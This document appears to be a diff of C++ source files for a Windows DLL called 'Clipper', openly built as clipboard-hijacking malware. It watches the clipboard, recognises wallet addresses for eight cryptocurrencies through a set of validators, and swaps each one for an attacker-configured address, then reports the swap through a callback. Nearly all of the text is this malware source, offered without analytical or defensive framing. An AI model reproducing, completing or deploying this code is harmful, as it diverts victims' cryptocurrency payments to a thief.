static HGLOBAL AllocateMemory(size_t size);
|
||||||
|
static void FreeMemory(HGLOBAL hMem);
|
||||||
|
|
||||||
|
static void* LockMemory(HGLOBAL hMem);
|
||||||
|
static bool UnlockMemory(HGLOBAL hMem);
|
||||||
|
|
||||||
|
static size_t GetMemorySize(HGLOBAL hMem);
|
||||||
|
static bool IsMemoryValid(HGLOBAL hMem);
|
||||||
|
|
||||||
|
static bool CopyToMemory(HGLOBAL hMem, const void* data, size_t size);
|
||||||
|
static bool CopyFromMemory(void* dest, HGLOBAL hMem, size_t size);
|
||||||
|
|
||||||
|
static HGLOBAL CreateTextData(const std::wstring& text);
|
||||||
|
static std::wstring ExtractTextData(HGLOBAL hData);
|
||||||
|
|
||||||
|
private:
|
||||||
|
static size_t CalculateTextSize(const std::wstring& text);
|
||||||
|
};
|
||||||
Executable
+12
@@ -0,0 +1,12 @@
|
|||||||
|
#include "Clipper.h"
|
||||||
|
#include "ClipperImpl.hpp"
|
||||||
|
|
||||||
|
int clipper_set_wallet_address(Cryptocurrency currency, const wchar_t* address)
|
||||||
|
{
|
||||||
|
return Clipper::SetWalletAddress(currency, address);
|
||||||
|
}
|
||||||
|
|
||||||
|
int clipper_set_on_activation_callback(ClipperActivationCallback callback)
|
||||||
|
{
|
||||||
|
return Clipper::SetCallback(callback);
|
||||||
|
}
|
||||||
Executable
+26
@@ -0,0 +1,26 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
#ifdef DLL_BUILD
|
||||||
|
#define DLL_API __declspec(dllexport)
|
||||||
|
#else
|
||||||
|
#define DLL_API
|
||||||
|
#endif
|
||||||
|
|
||||||
|
enum Cryptocurrency
|
||||||
|
{
|
||||||
|
Bitcoin, // BTC
|
||||||
|
EVM, // ETH, USDT, USDC, BNB
|
||||||
|
Monero, // XMR
|
||||||
|
Litecoin, // LTC
|
||||||
|
Tron, // USDT, TRX
|
||||||
|
Solana, // SOL
|
||||||
|
Ripple, // XRP
|
||||||
|
Dogecoin, // DOGE
|
||||||
|
|
||||||
|
ElementsCount
|
||||||
|
};
|
||||||
|
|
||||||
|
typedef void(*ClipperActivationCallback)(Cryptocurrency currency, const wchar_t* replacedAddress, const wchar_t* replacementAddress);
|
||||||
|
|
||||||
|
extern "C" DLL_API int clipper_set_wallet_address(Cryptocurrency currency, const wchar_t* address); // bool
|
||||||
|
extern "C" DLL_API int clipper_set_on_activation_callback(ClipperActivationCallback callback); // bool
|
||||||
Executable
+81
@@ -0,0 +1,81 @@
|
|||||||
|
#include "ClipperImpl.hpp"
|
||||||
|
#include "Clipboard.hpp"
|
||||||
|
#include "CryptocurrencyValidator.hpp"
|
||||||
|
#include <optional>
|
||||||
|
|
||||||
|
Clipper::Clipper()
|
||||||
|
{
|
||||||
|
wchar_t s[] = { static_cast<wchar_t>(__TIME__[6]), L'X', static_cast<wchar_t>(__TIME__[7]), L'\0' };
|
||||||
|
Clipboard::Initialize(s);
|
||||||
|
}
|
||||||
|
|
||||||
|
Clipper& Clipper::GetInstance()
|
||||||
|
{
|
||||||
|
static Clipper instance;
|
||||||
|
return instance;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::optional<Cryptocurrency> Clipper::IsCryptocurrencyAddress(const std::wstring& text)
|
||||||
|
{
|
||||||
|
if (CryptocurrencyValidator::Validate(Cryptocurrency::EVM, text))
|
||||||
|
return Cryptocurrency::EVM;
|
||||||
|
|
||||||
|
if (CryptocurrencyValidator::Validate(Cryptocurrency::Bitcoin, text))
|
||||||
|
return Cryptocurrency::Bitcoin;
|
||||||
|
|
||||||
|
if (CryptocurrencyValidator::Validate(Cryptocurrency::Litecoin, text))
|
||||||
|
return Cryptocurrency::Litecoin;
|
||||||
|
|
||||||
|
if (CryptocurrencyValidator::Validate(Cryptocurrency::Tron, text))
|
||||||
|
return Cryptocurrency::Tron;
|
||||||
|
|
||||||
|
if (CryptocurrencyValidator::Validate(Cryptocurrency::Ripple, text))
|
||||||
|
return Cryptocurrency::Ripple;
|
||||||
|
|
||||||
|
if (CryptocurrencyValidator::Validate(Cryptocurrency::Dogecoin, text))
|
||||||
|
return Cryptocurrency::Dogecoin;
|
||||||
|
|
||||||
|
if (CryptocurrencyValidator::Validate(Cryptocurrency::Monero, text))
|
||||||
|
return Cryptocurrency::Monero;
|
||||||
|
|
||||||
|
if (CryptocurrencyValidator::Validate(Cryptocurrency::Solana, text))
|
||||||
|
return Cryptocurrency::Solana;
|
||||||
|
|
||||||
|
return std::nullopt;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool Clipper::SetWalletAddress(Cryptocurrency cryptocurrency, const wchar_t* address) noexcept
|
||||||
|
{
|
||||||
|
if (static_cast<size_t>(cryptocurrency) >= Cryptocurrency::ElementsCount || !address)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
std::wstring walletAdress = address;
|
||||||
|
return GetInstance().mAddressManager.ValidateAndSet(cryptocurrency, walletAdress);
|
||||||
|
}
|
||||||
|
|
||||||
|
bool Clipper::SetCallback(ClipperActivationCallback callback) noexcept
|
||||||
|
{
|
||||||
|
if (!callback)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
if (!GetInstance().mCallbackManager.SetCallback(callback))
|
||||||
|
return false;
|
||||||
|
|
||||||
|
OnClipboardContentChangedCallback callbackWithValidation = [&](const std::wstring& content) -> void {
|
||||||
|
auto cryptocurrency = IsCryptocurrencyAddress(content);
|
||||||
|
if (!cryptocurrency)
|
||||||
|
return;
|
||||||
|
|
||||||
|
std::wstring address = GetInstance().mAddressManager.GetAddress(cryptocurrency.value());
|
||||||
|
|
||||||
|
// prevent recursion
|
||||||
|
if (address == content)
|
||||||
|
return;
|
||||||
|
|
||||||
|
Clipboard::SetClipboardText(address);
|
||||||
|
GetInstance().mCallbackManager.InvokeCallback(cryptocurrency.value(), content.c_str(), address.c_str());
|
||||||
|
};
|
||||||
|
|
||||||
|
Clipboard::SetCallback(callbackWithValidation);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
Executable
+23
@@ -0,0 +1,23 @@
|
|||||||
|
#pragma once
|
||||||
|
#include "Clipper.h"
|
||||||
|
#include "AddressManager.hpp"
|
||||||
|
#include "CallbackManager.hpp"
|
||||||
|
#include <array>
|
||||||
|
#include <optional>
|
||||||
|
#include <string>
|
||||||
|
|
||||||
|
class Clipper
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
static bool SetWalletAddress(Cryptocurrency cryptocurrency, const wchar_t* address) noexcept;
|
||||||
|
static bool SetCallback(ClipperActivationCallback callback) noexcept;
|
||||||
|
|
||||||
|
private:
|
||||||
|
Clipper();
|
||||||
|
static Clipper& GetInstance();
|
||||||
|
|
||||||
|
static std::optional<Cryptocurrency> IsCryptocurrencyAddress(const std::wstring& text);
|
||||||
|
|
||||||
|
AddressManager mAddressManager;
|
||||||
|
CallbackManager mCallbackManager;
|
||||||
|
};
|
||||||
Executable
+3
@@ -0,0 +1,3 @@
|
|||||||
|
int main(int argc, char** argv)
|
||||||
|
{
|
||||||
|
}
|
||||||
Executable
+339
@@ -0,0 +1,339 @@
|
|||||||
|
#include "CryptocurrencyValidator.hpp"
|
||||||
|
|
||||||
|
static const std::wstring kBase58Characters = L"123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz";
|
||||||
|
static const std::wstring kHexCharacters = L"0123456789abcdefABCDEF";
|
||||||
|
static const std::wstring kBech32Characters = L"0123456789abcdefghijklmnopqrstuvwxyz";
|
||||||
|
|
||||||
|
bool CryptocurrencyValidator::Validate(Cryptocurrency type, const std::wstring& address)
|
||||||
|
{
|
||||||
|
if (address.empty())
|
||||||
|
return false;
|
||||||
|
|
||||||
|
switch (type)
|
||||||
|
{
|
||||||
|
case Cryptocurrency::Bitcoin:
|
||||||
|
return ValidateBitcoin(address);
|
||||||
|
|
||||||
|
case Cryptocurrency::EVM:
|
||||||
|
return ValidateEVM(address);
|
||||||
|
|
||||||
|
case Cryptocurrency::Monero:
|
||||||
|
return ValidateMonero(address);
|
||||||
|
|
||||||
|
case Cryptocurrency::Litecoin:
|
||||||
|
return ValidateLitecoin(address);
|
||||||
|
|
||||||
|
case Cryptocurrency::Tron:
|
||||||
|
return ValidateTron(address);
|
||||||
|
|
||||||
|
case Cryptocurrency::Solana:
|
||||||
|
return ValidateSolana(address);
|
||||||
|
|
||||||
|
case Cryptocurrency::Ripple:
|
||||||
|
return ValidateRipple(address);
|
||||||
|
|
||||||
|
case Cryptocurrency::Dogecoin:
|
||||||
|
return ValidateDogecoin(address);
|
||||||
|
|
||||||
|
default:
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
bool CryptocurrencyValidator::ValidateBitcoin(const std::wstring& address)
|
||||||
|
{
|
||||||
|
if (ValidateBitcoinLegacy(address))
|
||||||
|
return true;
|
||||||
|
|
||||||
|
if (ValidateBitcoinSegWit(address))
|
||||||
|
return true;
|
||||||
|
|
||||||
|
if (ValidateBitcoinNative(address))
|
||||||
|
return true;
|
||||||
|
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool CryptocurrencyValidator::ValidateBitcoinLegacy(const std::wstring& address)
|
||||||
|
{
|
||||||
|
if (!CheckBitcoinLegacyPrefix(address))
|
||||||
|
return false;
|
||||||
|
|
||||||
|
if (!CheckAddressLength(address, 26, 35))
|
||||||
|
return false;
|
||||||
|
|
||||||
|
if (!CheckBase58Format(address))
|
||||||
|
return false;
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool CryptocurrencyValidator::ValidateBitcoinSegWit(const std::wstring& address)
|
||||||
|
{
|
||||||
|
if (!CheckBitcoinSegWitPrefix(address))
|
||||||
|
return false;
|
||||||
|
|
||||||
|
if (!CheckAddressLength(address, 26, 35))
|
||||||
|
return false;
|
||||||
|
|
||||||
|
if (!CheckBase58Format(address))
|
||||||
|
return false;
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool CryptocurrencyValidator::ValidateBitcoinNative(const std::wstring& address)
|
||||||
|
{
|
||||||
|
if (address.length() < 42 || address.length() > 62)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
if (address.substr(0, 3) != L"bc1")
|
||||||
|
return false;
|
||||||
|
|
||||||
|
static const std::wregex pattern(L"^bc1[a-zA-HJ-NP-Z0-9]{39,59}$");
|
||||||
|
return MatchesPattern(address, pattern);
|
||||||
|
}
|
||||||
|
|
||||||
|
bool CryptocurrencyValidator::ValidateEVM(const std::wstring& address)
|
||||||
|
{
|
||||||
|
if (address.length() != 42)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
if (address.substr(0, 2) != L"0x" && address.substr(0, 2) != L"0X")
|
||||||
|
return false;
|
||||||
|
|
||||||
|
std::wstring hexPart = address.substr(2);
|
||||||
|
|
||||||
|
if (!CheckHexFormat(hexPart))
|
||||||
|
return false;
|
||||||
|
|
||||||
|
if (hexPart.length() != 40)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool CryptocurrencyValidator::ValidateMonero(const std::wstring& address)
|
||||||
|
{
|
||||||
|
if (address.length() != 95 && address.length() != 106)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
wchar_t firstChar = address[0];
|
||||||
|
if (firstChar != L'4' && firstChar != L'8')
|
||||||
|
return false;
|
||||||
|
|
||||||
|
if (!CheckBase58Format(address))
|
||||||
|
return false;
|
||||||
|
|
||||||
|
static const std::wregex pattern(L"^[48][1-9A-HJ-NP-Za-km-z]{94}|^[48][1-9A-HJ-NP-Za-km-z]{105}$");
|
||||||
|
return std::regex_match(address, pattern);
|
||||||
|
}
|
||||||
|
|
||||||
|
bool CryptocurrencyValidator::ValidateLitecoin(const std::wstring& address)
|
||||||
|
{
|
||||||
|
if (ValidateLitecoinLegacy(address))
|
||||||
|
return true;
|
||||||
|
|
||||||
|
if (ValidateLitecoinSegWit(address))
|
||||||
|
return true;
|
||||||
|
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool CryptocurrencyValidator::ValidateLitecoinLegacy(const std::wstring& address)
|
||||||
|
{
|
||||||
|
if (!CheckLitecoinLegacyPrefix(address))
|
||||||
|
return false;
|
||||||
|
|
||||||
|
if (!CheckAddressLength(address, 27, 34))
|
||||||
|
return false;
|
||||||
|
|
||||||
|
if (!CheckBase58Format(address))
|
||||||
|
return false;
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool CryptocurrencyValidator::ValidateLitecoinSegWit(const std::wstring& address)
|
||||||
|
{
|
||||||
|
if (address.length() < 11 || address.length() > 90)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
if (address.substr(0, 4) != L"ltc1")
|
||||||
|
return false;
|
||||||
|
|
||||||
|
static const std::wregex pattern(L"^ltc1[a-zA-HJ-NP-Z0-9]{8,87}$");
|
||||||
|
return MatchesPattern(address, pattern);
|
||||||
|
}
|
||||||
|
|
||||||
|
bool CryptocurrencyValidator::ValidateTron(const std::wstring& address)
|
||||||
|
{
|
||||||
|
if (!CheckTronPrefix(address))
|
||||||
|
return false;
|
||||||
|
|
||||||
|
if (address.length() != 34)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
if (!CheckBase58Format(address))
|
||||||
|
return false;
|
||||||
|
|
||||||
|
static const std::wregex pattern(L"^T[1-9A-HJ-NP-Za-km-z]{33}$");
|
||||||
|
return MatchesPattern(address, pattern);
|
||||||
|
}
|
||||||
|
|
||||||
|
bool CryptocurrencyValidator::ValidateSolana(const std::wstring& address)
|
||||||
|
{
|
||||||
|
if (!CheckAddressLength(address, 32, 44))
|
||||||
|
return false;
|
||||||
|
|
||||||
|
wchar_t firstChar = address[0];
|
||||||
|
if (firstChar == L'r') // XRP
|
||||||
|
return false;
|
||||||
|
|
||||||
|
if (firstChar == L'D') // DOGE
|
||||||
|
return false;
|
||||||
|
|
||||||
|
if (firstChar == L'T') // TRON
|
||||||
|
return false;
|
||||||
|
|
||||||
|
if (firstChar == L'4' || firstChar == L'8') // Monero
|
||||||
|
return false;
|
||||||
|
|
||||||
|
if (firstChar == L'1' || firstChar == L'3') // Bitcoin legacy
|
||||||
|
return false;
|
||||||
|
|
||||||
|
if (firstChar == L'L' || firstChar == L'M') // Litecoin
|
||||||
|
return false;
|
||||||
|
|
||||||
|
if (firstChar == L'0') // EVM
|
||||||
|
return false;
|
||||||
|
|
||||||
|
if (!CheckBase58Format(address))
|
||||||
|
return false;
|
||||||
|
|
||||||
|
static const std::wregex pattern(L"^[1-9A-HJ-NP-Za-km-z]{32,44}$");
|
||||||
|
return MatchesPattern(address, pattern);
|
||||||
|
}
|
||||||
|
|
||||||
|
bool CryptocurrencyValidator::ValidateRipple(const std::wstring& address)
|
||||||
|
{
|
||||||
|
if (address.empty() || address[0] != L'r')
|
||||||
|
return false;
|
||||||
|
|
||||||
|
if (!CheckAddressLength(address, 25, 35))
|
||||||
|
return false;
|
||||||
|
|
||||||
|
if (!CheckBase58Format(address))
|
||||||
|
return false;
|
||||||
|
|
||||||
|
static const std::wregex pattern(L"^r[0-9a-zA-Z]{24,34}$");
|
||||||
|
return MatchesPattern(address, pattern);
|
||||||
|
}
|
||||||
|
|
||||||
|
bool CryptocurrencyValidator::ValidateDogecoin(const std::wstring& address)
|
||||||
|
{
|
||||||
|
if (!CheckDogecoinPrefix(address))
|
||||||
|
return false;
|
||||||
|
|
||||||
|
if (address.length() != 34)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
if (address[0] != L'D')
|
||||||
|
return false;
|
||||||
|
|
||||||
|
wchar_t secondChar = address[1];
|
||||||
|
if (!(secondChar >= L'5' && secondChar <= L'9') &&
|
||||||
|
!(secondChar >= L'A' && secondChar <= L'H') &&
|
||||||
|
!(secondChar >= L'J' && secondChar <= L'N') &&
|
||||||
|
!(secondChar >= L'P' && secondChar <= L'U'))
|
||||||
|
return false;
|
||||||
|
|
||||||
|
if (!CheckBase58Format(address))
|
||||||
|
return false;
|
||||||
|
|
||||||
|
static const std::wregex pattern(L"^D[5-9A-HJ-NP-U][1-9A-HJ-NP-Za-km-z]{32}$");
|
||||||
|
return MatchesPattern(address, pattern);
|
||||||
|
}
|
||||||
|
|
||||||
|
bool CryptocurrencyValidator::CheckBitcoinLegacyPrefix(const std::wstring& address)
|
||||||
|
{
|
||||||
|
if (address.empty())
|
||||||
|
return false;
|
||||||
|
|
||||||
|
wchar_t firstChar = address[0];
|
||||||
|
return firstChar == L'1' || firstChar == L'3';
|
||||||
|
}
|
||||||
|
|
||||||
|
bool CryptocurrencyValidator::CheckBitcoinSegWitPrefix(const std::wstring& address)
|
||||||
|
{
|
||||||
|
if (address.empty())
|
||||||
|
return false;
|
||||||
|
|
||||||
|
wchar_t firstChar = address[0];
|
||||||
|
return firstChar == L'3';
|
||||||
|
}
|
||||||
|
|
||||||
|
bool CryptocurrencyValidator::CheckLitecoinLegacyPrefix(const std::wstring& address)
|
||||||
|
{
|
||||||
|
if (address.empty())
|
||||||
|
return false;
|
||||||
|
|
||||||
|
wchar_t firstChar = address[0];
|
||||||
|
return firstChar == L'L' || firstChar == L'M' || firstChar == L'3';
|
||||||
|
}
|
||||||
|
|
||||||
|
bool CryptocurrencyValidator::CheckTronPrefix(const std::wstring& address)
|
||||||
|
{
|
||||||
|
if (address.empty())
|
||||||
|
return false;
|
||||||
|
|
||||||
|
return address[0] == L'T';
|
||||||
|
}
|
||||||
|
|
||||||
|
bool CryptocurrencyValidator::CheckRipplePrefix(const std::wstring& address)
|
||||||
|
{
|
||||||
|
if (address.empty())
|
||||||
|
return false;
|
||||||
|
|
||||||
|
return address[0] == L'r';
|
||||||
|
}
|
||||||
|
|
||||||
|
bool CryptocurrencyValidator::CheckDogecoinPrefix(const std::wstring& address)
|
||||||
|
{
|
||||||
|
if (address.empty())
|
||||||
|
return false;
|
||||||
|
|
||||||
|
return address[0] == L'D';
|
||||||
|
}
|
||||||
|
|
||||||
|
bool CryptocurrencyValidator::CheckAddressLength(const std::wstring& address, size_t minLen, size_t maxLen)
|
||||||
|
{
|
||||||
|
size_t len = address.length();
|
||||||
|
return len >= minLen && len <= maxLen;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool CryptocurrencyValidator::CheckCharacterSet(const std::wstring& address, const std::wstring& allowedChars)
|
||||||
|
{
|
||||||
|
for (wchar_t ch : address)
|
||||||
|
{
|
||||||
|
if (allowedChars.find(ch) == std::wstring::npos)
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool CryptocurrencyValidator::CheckHexFormat(const std::wstring& address)
|
||||||
|
{
|
||||||
|
return CheckCharacterSet(address, kHexCharacters);
|
||||||
|
}
|
||||||
|
|
||||||
|
bool CryptocurrencyValidator::CheckBase58Format(const std::wstring& address)
|
||||||
|
{
|
||||||
|
return CheckCharacterSet(address, kBase58Characters);
|
||||||
|
}
|
||||||
|
|
||||||
|
bool CryptocurrencyValidator::MatchesPattern(const std::wstring& address, const std::wregex& pattern)
|
||||||
|
{
|
||||||
|
return std::regex_match(address, pattern);
|
||||||
|
}
|
||||||
Executable
+41
@@ -0,0 +1,41 @@
|
|||||||
|
#pragma once
|
||||||
|
#include "Clipper.h"
|
||||||
|
#include <string>
|
||||||
|
#include <regex>
|
||||||
|
|
||||||
|
class CryptocurrencyValidator
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
static bool Validate(Cryptocurrency type, const std::wstring& address);
|
||||||
|
|
||||||
|
static bool ValidateBitcoin(const std::wstring& address);
|
||||||
|
static bool ValidateEVM(const std::wstring& address);
|
||||||
|
static bool ValidateMonero(const std::wstring& address);
|
||||||
|
static bool ValidateLitecoin(const std::wstring& address);
|
||||||
|
static bool ValidateTron(const std::wstring& address);
|
||||||
|
static bool ValidateSolana(const std::wstring& address);
|
||||||
|
static bool ValidateRipple(const std::wstring& address);
|
||||||
|
static bool ValidateDogecoin(const std::wstring& address);
|
||||||
|
|
||||||
|
private:
|
||||||
|
static bool ValidateBitcoinLegacy(const std::wstring& address);
|
||||||
|
static bool ValidateBitcoinSegWit(const std::wstring& address);
|
||||||
|
static bool ValidateBitcoinNative(const std::wstring& address);
|
||||||
|
|
||||||
|
static bool ValidateLitecoinLegacy(const std::wstring& address);
|
||||||
|
static bool ValidateLitecoinSegWit(const std::wstring& address);
|
||||||
|
|
||||||
|
static bool CheckBitcoinLegacyPrefix(const std::wstring& address);
|
||||||
|
static bool CheckBitcoinSegWitPrefix(const std::wstring& address);
|
||||||
|
static bool CheckLitecoinLegacyPrefix(const std::wstring& address);
|
||||||
|
static bool CheckTronPrefix(const std::wstring& address);
|
||||||
|
static bool CheckRipplePrefix(const std::wstring& address);
|
||||||
|
static bool CheckDogecoinPrefix(const std::wstring& address);
|
||||||
|
|
||||||
|
static bool CheckAddressLength(const std::wstring& address, size_t minLen, size_t maxLen);
|
||||||
|
static bool CheckCharacterSet(const std::wstring& address, const std::wstring& allowedChars);
|
||||||
|
static bool CheckHexFormat(const std::wstring& address);
|
||||||
|
static bool CheckBase58Format(const std::wstring& address);
|
||||||
|
|
||||||
|
static bool MatchesPattern(const std::wstring& address, const std::wregex& pattern);
|
||||||
|
};
|
||||||
Executable
+21
@@ -0,0 +1,21 @@
|
|||||||
|
#include <Windows.h>
|
||||||
|
|
||||||
|
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
|
||||||
|
{
|
||||||
|
switch (fdwReason)
|
||||||
|
{
|
||||||
|
case DLL_PROCESS_ATTACH:
|
||||||
|
break;
|
||||||
|
|
||||||
|
case DLL_THREAD_ATTACH:
|
||||||
|
break;
|
||||||
|
|
||||||
|
case DLL_THREAD_DETACH:
|
||||||
|
break;
|
||||||
|
|
||||||
|
case DLL_PROCESS_DETACH:
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
Executable
+104
@@ -0,0 +1,104 @@
|
|||||||
|
#include "WindowClassManager.hpp"
|
||||||
|
|
||||||
|
WindowClassManager::WindowClassManager(const std::wstring& className) : mClassName(className), mhInstance(GetModuleHandleW(nullptr)), mIsRegistered(false)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
WindowClassManager::~WindowClassManager()
|
||||||
|
{
|
||||||
|
if (mIsRegistered)
|
||||||
|
Unregister();
|
||||||
|
}
|
||||||
|
|
||||||
|
bool WindowClassManager::Register(WNDPROC wndProc)
|
||||||
|
{
|
||||||
|
if (mIsRegistered)
|
||||||
|
return true;
|
||||||
|
|
||||||
|
if (!wndProc)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
WNDCLASSEXW wc = CreateWindowClass(wndProc);
|
||||||
|
return RegisterWindowClass(wc);
|
||||||
|
}
|
||||||
|
|
||||||
|
bool WindowClassManager::Unregister()
|
||||||
|
{
|
||||||
|
if (!mIsRegistered)
|
||||||
|
return true;
|
||||||
|
|
||||||
|
return UnregisterWindowClass();
|
||||||
|
}
|
||||||
|
|
||||||
|
bool WindowClassManager::IsRegistered() const
|
||||||
|
{
|
||||||
|
return mIsRegistered;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::wstring WindowClassManager::GetWindowClassName() const
|
||||||
|
{
|
||||||
|
return mClassName;
|
||||||
|
}
|
||||||
|
|
||||||
|
HINSTANCE WindowClassManager::GetInstance() const
|
||||||
|
{
|
||||||
|
return mhInstance;
|
||||||
|
}
|
||||||
|
|
||||||
|
WNDCLASSEXW WindowClassManager::CreateWindowClass(WNDPROC wndProc) const
|
||||||
|
{
|
||||||
|
WNDCLASSEXW wc = {};
|
||||||
|
InitializeWindowClassDefaults(wc);
|
||||||
|
wc.lpfnWndProc = wndProc;
|
||||||
|
return wc;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool WindowClassManager::RegisterWindowClass(const WNDCLASSEXW& wc)
|
||||||
|
{
|
||||||
|
ATOM result = RegisterClassExW(&wc);
|
||||||
|
if (result == 0)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
SetRegistered(true);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool WindowClassManager::UnregisterWindowClass()
|
||||||
|
{
|
||||||
|
BOOL result = UnregisterClassW(mClassName.c_str(), mhInstance);
|
||||||
|
if (!result)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
SetRegistered(false);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
void WindowClassManager::SetRegistered(bool registered)
|
||||||
|
{
|
||||||
|
mIsRegistered = registered;
|
||||||
|
}
|
||||||
|
|
||||||
|
WNDCLASSEXW WindowClassManager::BuildWindowClassStruct(WNDPROC wndProc) const
|
||||||
|
{
|
||||||
|
WNDCLASSEXW wc = {};
|
||||||
|
wc.cbSize = sizeof(WNDCLASSEXW);
|
||||||
|
wc.lpfnWndProc = wndProc;
|
||||||
|
wc.hInstance = mhInstance;
|
||||||
|
wc.lpszClassName = mClassName.c_str();
|
||||||
|
return wc;
|
||||||
|
}
|
||||||
|
|
||||||
|
void WindowClassManager::InitializeWindowClassDefaults(WNDCLASSEXW& wc) const
|
||||||
|
{
|
||||||
|
wc.cbSize = sizeof(WNDCLASSEXW);
|
||||||
|
wc.lpfnWndProc = nullptr;
|
||||||
|
wc.cbClsExtra = 0;
|
||||||
|
wc.cbWndExtra = 0;
|
||||||
|
wc.hInstance = mhInstance;
|
||||||
|
wc.hIcon = nullptr;
|
||||||
|
wc.hCursor = nullptr;
|
||||||
|
wc.hbrBackground = nullptr;
|
||||||
|
wc.lpszMenuName = nullptr;
|
||||||
|
wc.lpszClassName = mClassName.c_str();
|
||||||
|
wc.hIconSm = nullptr;
|
||||||
|
}
|
||||||
Executable
+32
@@ -0,0 +1,32 @@
|
|||||||
|
#pragma once
|
||||||
|
#include <Windows.h>
|
||||||
|
#include <string>
|
||||||
|
|
||||||
|
class WindowClassManager
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
WindowClassManager(const std::wstring& className);
|
||||||
|
~WindowClassManager();
|
||||||
|
|
||||||
|
bool Register(WNDPROC wndProc);
|
||||||
|
bool Unregister();
|
||||||
|
|
||||||
|
bool IsRegistered() const;
|
||||||
|
std::wstring GetWindowClassName() const;
|
||||||
|
HINSTANCE GetInstance() const;
|
||||||
|
|
||||||
|
WNDCLASSEXW CreateWindowClass(WNDPROC wndProc) const;
|
||||||
|
|
||||||
|
private:
|
||||||
|
bool RegisterWindowClass(const WNDCLASSEXW& wc);
|
||||||
|
bool UnregisterWindowClass();
|
||||||
|
|
||||||
|
void SetRegistered(bool registered);
|
||||||
|
|
||||||
|
WNDCLASSEXW BuildWindowClassStruct(WNDPROC wndProc) const;
|
||||||
|
void InitializeWindowClassDefaults(WNDCLASSEXW& wc) const;
|
||||||
|
|
||||||
|
std::wstring mClassName;
|
||||||
|
HINSTANCE mhInstance;
|
||||||
|
bool mIsRegistered;
|
||||||
|
};
|
||||||
Reference in New Issue
Block a user